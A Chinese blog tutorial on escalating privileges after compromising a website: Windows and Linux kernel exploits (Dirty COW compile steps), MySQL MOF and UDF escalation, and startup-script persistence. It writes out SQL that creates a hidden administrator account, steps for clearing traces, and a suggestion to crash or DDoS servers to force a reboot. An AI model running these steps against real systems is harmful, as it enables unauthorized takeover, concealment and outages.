详谈利用系统漏洞及mysql提权

提权概述:

提权,顾名思义就是提升权限,当我们 getshell ⼀个⽹站之后,⼤部分情况下我们的权限是⾮常低的,这时就需要利⽤提权,让原本的低权限(如只允许列⽬录)→ ⾼权限(拥有修改⽂件的能⼒),权限提升后,对接下来的渗透有很⼤帮助

提权的方式:

  • 系统漏洞提权(Linux、Windows)
  • 第三⽅软件/服务提权(数据库提权)
  • 系统配置错误提权

1系统提权

Windows系统提权

Windows系统漏洞提权概述

  • 系统漏洞提权⼀般就是利⽤系统⾃身缺陷(⾃身漏洞),⽤来提升权限

  • 为了⽅便使⽤,windows和linux系统均有提权⽤的可执⾏⽂件(exp---互联⽹公开的)

系统漏洞提权常规流程

查看⽬标机补丁记录

  • ⽅法⼀ :在cmd中输⼊systeminfo查看补丁安装情况

  • ⽅法⼆:通过命令查询出哪些补丁没有安装

查找补丁对应的漏洞号

  • 使⽤在线查询⼯具:http://blog.neargle.com/win-powerup-exp-index/#

查找对应的提权EXP

windows中提权exp的格式为

使⽤EXP对⽬标机进⾏提权

  • 1.当getshell后,查看系统权限

  • 2.查看系统补丁

Linux系统提权

Linux系统提权概述

  • Linux安装好系统后⾥⾯⾃带的软件或内核存在的漏洞,⽐较流⾏的有 “脏⽜提权”

  • Linux内核提权跟Windows⼀样,都要下载对应漏洞的脚本进⾏提权

Linux提权的步骤

  • 1.进⾏基础信息收集

信息收集 -- 内核版本 --- 漏洞 --- 公开的exp

  • 3.使⽤exp,利⽤漏洞进⾏提权
    以脏⽜提权为例,进⾏提权 1、yum install -y gcc
    2、gcc -pthread dirty.c -o dirty -lcrypt
    3、chmod +x dirty
    4、./dirty 新设置的密码 \

2MySQL数据库提权

MySQL数据库提权概述

MySQL提权必要条件:获取MySQL数据库最⾼权限root的账号密码

获取⽅法:

1.查看数据库配置⽂件
关键字:config conn data sql inc database 等
2.下载mysql安装路径下的数据⽂件并破解
安装路径下的 data ⽬录中存放的是数据库的数据信息(表名,列名,内容)
root账号密码存储在mysql数据下的user表中
完整路径=安装路径+data+mysql+user.myd
3.进⾏暴⼒破解
Hydra、X-scan等

MySQL提权的三种⽅式

  • 1、udf提权

  • 2、mof提权

  • 3、启动项提权

⼀.MOF提权

MOF提权原理:

  • 利⽤了c:/windows/system32/wbem/mof/⽬录下的 nullevt.mof ⽂件

  • 该⽂件每分钟都会在⼀个特定的时间去执⾏⼀次的特性,通过写⼊cmd命令使其被带⼊执⾏

利⽤条件:

  • 1.Windows <= 2003

  • 对 c:/windows/system32/webm/mof ⽬录有读写权限

  • 可以实现写mof⽂件到相应⽬录,例如:数据库允许外联、有webshell、有可写的sql注⼊漏洞等情况

提权⽅法:

  • 1.在可写⽬录中上传mof⽂件

  • 2.执⾏ load_file 及 into dumpfile 把⽂件导出到正确的位置

select load_file('上传的mof⽂件路径') into dumpfile
'c:/windows/system32/wbem/mof/nullevt.mof'
  • 3.执⾏成功后,验证mof⽂件中的cmd命令是否执⾏

mof⽂件的内容:

MOF提权过程详解

1.上传mof脚本⽂件到可读写⽬录下

2.执⾏MySQL语句,将mof⽂件到出到指定的位置:c:/windows/system32/wbem/mof/nullevt.mof

3.查看命令是否执⾏成功
4.同样的⽅法修改mof⽂件再重复上次的步骤,可以将⽤户添加到管理员组

⼆、UDF提权

原理:

  • UDF(User Defined Function)⽤户⾃定义函数,⽀持⽤户⾃定义

  • 通过添加新的函数,对mysql服务器进⾏功能扩充,从⽽创建函数,将MYSQL账号转化为系统system权限

  • UDF提权是通过root权限导出udf.dll到系统⽬录下,可以通过udf.dll调⽤执⾏cmd

利⽤条件:

1.Windows 2000、XP、2003、2008
2.MySQL数据库版本
3.账号具有对MySQL的插⼊和删除权限
4.可以将udf.dll写⼊到相应⽬录的权限

UDF提权过程详解

1.收集必要信息

2.MySQL版本⾼于5.1,创建导出⽂件夹

  • /lib/plugin⽬录本身是不存在的,可以利⽤NTFS ADS流来创建⽂件夹

select 'xxx' into dumpfile 'MySQL⽬录\\lib::$INDEX_ALLOCATION’;
select 'xxx' into dumpfile 'MySQL⽬录\\lib\\plugin::$INDEX_ALLOCATION';
  • 也可以利⽤webshell直接在mysql安装路径下创建piugin⽬录

3.导⼊ udf.dll ⽂件

DLL⽂件的获取⽅法:
github ==== 现成;
linux、windows、64、32【mysql的数据库位数】
将 dll ⽂件上传到mysql的/lib/plugin⽬录下:

4.创建⾃定义函数

  • create function sys_eval returns string soname 'udf.dll';

  • 注意:需要创建.dll⽂件中存在的函数才可以,可以⽤⼗六进制编辑器打开.dll⽂件,可以看到右图标红的框中,这些函数是可以被创建的

5.执⾏语句

  • 创建⼀个⽤户,⽤户名为lmz 密码为 123.com 的账户

select sys_eval("net user lmz 123.com /add")
  • 将该⽤户提升为管理员权限

select sys_eval("net localgroup administrators lmz /add")

6.清除痕迹

drop function sys_eval;
delete from mysql.func where name="sys_eval";

注意:linux下udf提权⽅法⼀致,只不过导⼊dll⽂件的位置不太⼀ 样:如::::/usr/lib64/mysql/plugin/,其余过程⼀致

启动项提权

原理:

将⼀段 VBS脚本导⼊到开机启动项中,如果管理员重启了服务器,那么就会⾃动调⽤该脚本,并执⾏其中的⽤户添加及提权命令

利⽤条件:

  • 1.上传到⽬录必须具备可读写的权限

  • 2.调⽤的 cmd 也必须有⾜够的权限

  • 3.重启服务器可以利⽤⼀些可导致服务器蓝屏的EXP,或者DDoS拒绝服务

提权⽅式:

⽅法⼀:将VBS提权脚本上传到启动项⽬录下

条件:

  • C:\Documents and Settings\All Users\「开始」菜单\程序\启动 ⽬录存在可读写的权限

VBS提权脚本代码:

  • 将以上代码保存为 .vbs 后缀的⽂件上传到启动项⽬录中即可


“D&X 安全实验室”

专注渗透测试技术

全球最新网络攻击技术

  • 21
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

土豆.exe

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值